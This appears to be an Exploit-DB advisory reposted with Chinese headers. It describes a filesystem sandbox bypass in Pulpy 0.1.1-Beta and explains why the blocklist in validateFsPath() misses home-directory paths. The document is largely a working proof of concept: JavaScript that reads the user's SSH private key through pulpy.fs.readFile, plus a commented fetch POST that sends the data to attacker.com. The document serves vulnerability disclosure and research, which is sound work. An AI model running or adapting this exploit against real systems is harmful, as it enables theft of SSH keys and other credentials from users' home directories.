[webapps] Pulpy 0.1.1-Beta - Filesystem Sandbox Bypass

📋 漏洞基础信息

⚔️ 原始 PoC

# Exploit Author: Onur BILICI @basekill

Description:
  Pulpy injects a 'pulpy.fs' JavaScript API into every packaged web application,granting it access to the host filesystem. A 'validateFsPath()' function is 
  implemented to sandbox this access using a blocklist. However,this blocklist 
  is incomplete. 
  
  The implementation only catches root-level paths (e.g.,
matching "/Library/" 
  at index 0),meaning it completely misses user-specific paths such as 
  "/Users/<username>/Library/" or critical configuration directories like 
  "~/.ssh/","~/.aws/",and "~/Documents/". 
  
  As a result,
any malicious web application packaged with Pulpy can bypass the 
  sandbox to read and write arbitrary sensitive files in the user's home directory.

Root Cause Analysis:
  In 'src/bridge/native_modules.mm',the path validation logic relies on a weak 
  prefix check:
  
  std::string normalized = fs::weakly_canonical(p).string();if (normalized.find("/etc/") == 0 ||normalized.find("/var/") == 0 ||
normalized.find("/usr/") == 0 ||normalized.find("/System/") == 0 ||normalized.find("/Library/") == 0) {return "";}return normalized;Proof of Concept (PoC):
  An attacker can execute the following JavaScript code within a Pulpy-packaged 
  application to exfiltrate sensitive user data:

  ```javascript
  // Bypassing the sandbox to read sensitive files from the user's home directory
  try {
// Example target: SSH private key
      // Note: You need to replace '<username>' with the target's actual username or dynamically resolve it
      const sshKeyPath = "/Users/<username>/.ssh/id_rsa";pulpy.fs.readFile(sshKeyPath,'utf8',(err,data) =>{if (err) {console.error("Failed to read file:",err);return;}console.log("Successfully bypassed sandbox! Content:\n",data);
// Exfiltration logic can be placed here (e.g.,fetch('[https://attacker.com/log](https://attacker.com/log)',{method: 'POST',body: data}))
      });}catch (e) {console.error("Exploit failed:",e);}

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-07-25 08:16 | 来源: Exploit-DB